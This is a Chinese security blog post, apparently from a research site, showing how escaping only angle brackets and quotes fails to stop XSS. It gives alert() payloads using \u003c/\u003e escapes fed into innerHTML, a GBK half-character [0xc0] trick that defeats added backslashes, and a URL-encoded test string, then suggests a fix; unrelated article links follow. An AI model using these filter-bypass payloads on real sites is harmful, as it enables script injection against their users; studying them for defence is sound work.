大家都知道,普遍的防御XSS攻击的方法是在后台对以下字符进行转义:<、>、’、”,但是经过本人的研究发现,在一些特殊场景下,即使对以上字符进行了转义,还是可以执行XSS攻击的。

首先看一个JS的例子:

 
 
 
 
 

Default

 
1
2
3
4
<script>
    var s = "u003cu003e";
    alert(s);
</script>

运行这段代码,结果显示如下:

看到这么熟悉的尖括号,大家会不会有一些兴奋的感觉呢?JS代码中并没有出现尖括号,可是运行时却输出了尖括号!!!这意味着:可以通过u003c和u003e来代替<和>。可是该如何利用这个特性来构造XSS攻击呢?继续看一个例子:

 
 
 
 
 

Default

 
1
2
3
4
5
6
7
<div id='s'>
test
</div>
<script>
    var s = "u003cimg src=1 onerror=alert(/xss/)u003e";
    document.getElementById('s').innerHTML = s;
</script>

运行上面代码,结果显示如下:

在没有尖括号的情况下,成功实现了一个弹框的案例。

现在来设想一个更贴近实际开发情况的例子:
(1)这里我们用网络安全攻防研究室网站首页进行演示:http://www.91ri.org/ main.html,其代码为:

 
 
 
 
 

Default

 
1
2
3
4
5
6
7
8
9
10
<div id="test">
   aa
</div>
<script>    
   function callback(obj)    
   {        
       document.getElementById("test").innerHTML = obj.name;    
   }
</script>
<script src=" http://www.victim.com/getcontent"></script>

(2)http://www.victim.com/getcontent返回的内容格式如下:

 
 
 
 
 

Default

 
1
callback({"name":"xx"});

其中name的值是用户的昵称。

这个例子简单模拟了异步拉取信息并进行显示的情况。

现在假设用户的昵称为:

 
 
 
 
 

Default

 
1
u003cimg src=1 onerror=alert(/xss/)u003e

那么会是什么情况呢?
首先getcontent返回的昵称应该是这样的:

 
 
 
 
 

Default

 
1
\u003cimg src=1 onerror=alert(/xss/)\u003e

因为后台输出JSON格式数据时,一般都会在前面添加转义符进行转义。
接着main.html的callback函数应该是等价于执行下面的语句:

 
 
 
 
 
 

Default

 
1
document.getElementById("test").innerHTML =" \u003cimg src=1 onerror=alert(/xss/)\u003e";

显示的结果如下:

很遗憾,没有弹出框。原因是原来的转义序列u003c并没有生效,被添加的转义符转义掉了。

不过这里假设返回昵称时对进行了转义,但实际情况下,有时输出json格式数据时是没有对进行转义的,那样就会触发漏洞。

对于有对进行转义的,这时就轮到我们强大的半字符出场了。对于半字符的问题,这里并不打算详细讲,说下结论:
对于gb2312编码,” [0xc0] “是一个合法的编码,显示为:”繺”。
对于UTF-8编码,在IE6下,上述组合也是一个合法的编码。
其中[0xc0]表示一个十六进制的值。

现在修改昵称为:

 
 
 
 
 

Default

 
1
[0xc0]u003cimg src=1 onerror=alert(/xss/) [0xc0]u003e

getcontent输出:

 
 
 
 
 

Default

 
1
callback({"name":"[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e"});

由于半字符[0xc0]的存在,在解释上述JS代码时,等价于:

 
 
 
 
 

Default

 
1
callback({"name":"繺u003cimg src=1 onerror=alert(/xss/) 繺u003e"});

可见,转义序列u003c终于又回来了,显示结果如下:

上述昵称中并没有出现单双引号,尖括号,所以如果后台只是对单双引号和尖括号进行转义,那么是可以被绕过防御的。
总结:

(1)  利用场景:输出内容在JS代码里,并且被动态显示出来(如使用innerHTML)。
(2)  测试方法:截获请求包,修改参数为:

 
 
 
 
 

Default

 
1
%c0u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0u003e

(3)  防御方法:后台对半字符,反斜杠,单双引号,尖括号进行处理。

编辑点评:关于xss绕过的方式有很多,不少程序员以及小黑都认为过滤了<、>、’、”,就真的安全的,实际来说,只要针对这些字符进行一定的转义,就能成功绕过!

XSS绕过<>进行测试的更多相关文章

  1. XSS 绕过技术

    XSS Cross-Site Scripting(XSS)是一类出现在 web 应用程序上的安全弱点,攻击者可以通过 XSS 插入一 些代码,使得访问页面的其他用户都可以看到,XSS 通常是可以被看作 ...

  2. 【奇淫巧技】XSS绕过技巧

    XSS记录 1.首先是弹窗函数: alert(1) prompt(1) confirm(1)eval() 2.然后是字符的编码和浏览器的解析机制: 要讲编码绕过,首先我们要理解浏览器的解析过程,浏览器 ...

  3. xss绕过过滤之方法

    很多网站为了避免XSS的攻击,对用户的输入都采取了过滤,最常见的就是对<>转换成<以及>,经过转换以后<>虽然可在正确显示在页面上,但是已经不能构成代码语句了.这个 ...

  4. XSS绕过小结

    0x00前言 我们友情进行XSS检查,偶然跳出个小弹窗,其中我们总结了一些平时可能用到的XSS插入方式,方便我们以后进行快速检查,也提供了一定的思路,其中XSS有反射.存储.DOM这三类,至于具体每个 ...

  5. xss绕过姿势

    #未完待续... 00x1.绕过 magic_quotes_gpc magic_quotes_gpc=ON 是php中的安全设置,开启后会把一些特殊字符进行轮换, 比如: ' 会被转换为 \' 再比如 ...

  6. xss之上传文件的xss,绕过csp,预警机制

    xss1.XSS姿势——文件上传XSS https://wooyun.x10sec.org/static/drops/tips-14915.html总结: 1.1.文件名方式,原理:有些文件名可能反应 ...

  7. XSS绕过WAF的姿势

    初始测试 1.使用无害的payload,类似<b>,<i>,<u> 观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等: 2.如 ...

  8. xss之渗透测试

    跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...

  9. 反射型xss绕过IE xss filter

    反射xss利用方法,绕过IE XSS Filter 假设 1.php页面代码如下: echo $_GET['str']; 使用IE浏览器访问该页面 1.php?str=<xss code> ...

随机推荐

  1. 做优化的数据库工程师请参考!CynosDB的计算层设计优化揭秘

    本文由云+社区发表 本文作者:孙旭,腾讯数据库开发工程师,9年数据库内核开发经验:熟悉数据库查询处理,并发控制,日志以及存储系统:熟悉PostgreSQL(Greenplum,PGXC等).Terad ...

  2. SQL Server创建Job, 实现执行相同脚本而产生不同作业计划的探究

    1 . 背景描述 本公司的SQL Server 服务器近百台,为了收集服务器运行的状态,需要在各个实例上部署监控Job,将收集到的信息推送到中央管理服务器. 收集的信息主要包括:慢查询.阻塞.资源等待 ...

  3. Linux(CentOS7)压缩和解压缩war包、tar包、tar.gz包命令

    一.Linux版本 二.解压缩.tar.gz包到当前目录 tar -xzvf apache-tomcat-7.0.90.tar.gz 三.将指定文件压缩成.tar.gz包 tar -czf apach ...

  4. button样式篇一(ant Design React)

    这篇来介绍button中elementUi.iview.ant中样式结构 ant Design react ant-react中button分两个文件less: mixins.less:根据butto ...

  5. [转帖]rsync简介

    rsync用法详细解释 https://www.cnblogs.com/noxy/p/8986164.html 之前一直使用 scp 现在发现这个命令更好一些. 提要 熟悉 rsync 的功能及其特点 ...

  6. git异常操作解决办法合集

    1. git add .后发现提交错误,想撤销 git reset head 文件名-----撤销某个文件 git reset head --hard 强制撤销当前的所有操作到上次提交的版本 2. g ...

  7. [题解]邮递员寄信(luoguP1629)

    题目来源:luoguP1629 题目描述 有一个邮递员要送东西,邮局在结点1.他总共要送N-1样东西,其目的地分别是2-N.由于这个城市的交通比较繁忙,因此所有的道路都是单行的,共有M条道路,通过每条 ...

  8. vue在html中出现{{}}原因及解决办法

    在刚开始接触vue的时候,我们都是直接用<script>引入vue.js使用.没有借助vue-cli脚手架来构建项目. 对于一个初学者来说,跟着文档慢慢搬砖,使用vue进行数据绑定. 记得 ...

  9. 使用django执行数据更新命令时报错:django.db.migrations.exceptions.InconsistentMigrationHistory: Migration admin.0001_initial is applied before its dependency users.00 01_initial on database 'default'.

    如果在重新封装更新用户表之前,已经更新了数据表,在数据库中已经有了django相关的依赖表,就会报错: django.db.migrations.exceptions.InconsistentMigr ...

  10. BeanShell 教程索引帖

    一.BeanShell的基本简介 二.BeanShell环境配置 三.BeanShell语法表达式和常用命令 四.Jmeter-BeanShell使用 五.BeanShell PreProcessor ...